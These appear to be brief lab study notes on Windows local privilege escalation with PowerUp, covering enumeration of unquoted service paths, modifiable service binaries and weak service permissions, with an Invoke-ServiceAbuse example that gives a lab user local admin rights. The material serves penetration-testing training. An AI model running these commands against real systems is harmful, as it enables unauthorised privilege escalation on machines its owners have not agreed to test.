Find Unquoted Path

Load PowerUP

. .\\PowerUp.ps1
Get-ServiceUnquoted

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/341d2dd7-1396-4388-a710-83abfe962829/Untitled.png

Enum Services We Can Make changed To Binary

Get-ModifiableServiceFile

Enum Services With Weak Permissions

Get-ModifiableService

Example

Invoke-ServiceAbuse -Name "AbyssWebServer" -Username 'dcorp\\student648'

Identify a machine where student 648 has local admin access